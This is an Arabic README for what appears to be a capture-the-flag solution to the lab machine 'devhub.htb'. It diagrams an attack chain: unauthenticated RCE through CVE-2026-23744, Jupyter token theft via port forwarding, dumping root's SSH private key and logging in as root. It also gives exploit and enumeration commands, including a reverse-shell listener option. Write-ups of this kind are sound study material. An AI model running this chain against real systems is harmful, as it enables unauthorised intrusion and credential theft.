
CVE-2026-23744 RCE + تصعيد الامتيازات
الصعوبة: متوسطة
نظام التشغيل: Linux
┌─────────────────────────────────────────────────────┐
│ CVE-2026-23744 │
│ Unauthenticated POST → /api/mcp/connect │
└─────────────────────┬───────────────────────────────┘
↓
Shell as mcp-dev
↓
┌─────────────────────────────────────────────────────┐
│ portfwd 8888 → Jupyter Notebook Token Grab │
└─────────────────────┬───────────────────────────────┘
↓
Browser → http://127.0.0.1:8888
↓
Shell as analyst via notebook cell
↓
┌─────────────────────────────────────────────────────┐
│ cat /opt/opsmcp/server.py │
└─────────────────────┬───────────────────────────────┘
↓
portfwd 5000 → OPSMCP API
↓
↓
/root/.ssh/id_rsa dumped
↓
┌─────────────────────────────────────────────────────┐
│ ssh -i root_id_rsa [email protected] │
│ ROOT ★ │
└─────────────────────────────────────────────────────┘
| الملف | الوصف |
|---|---|
exploit.py | استغلال CVE-2026-23744 من نوع RCE مع فحص الثغرة |
enum.py | تعداد محلي — Jupyter، MCP، Python، تصعيد الامتيازات |
# Exploit
python3 exploit.py -t devhub.htb -l <your_ip> -r 4444
# Enumeration (once on box)
python3 enum.py --section all
python3 enum.py --section jupyter
لأغراض تعليمية وللاختبار المصرح به فقط.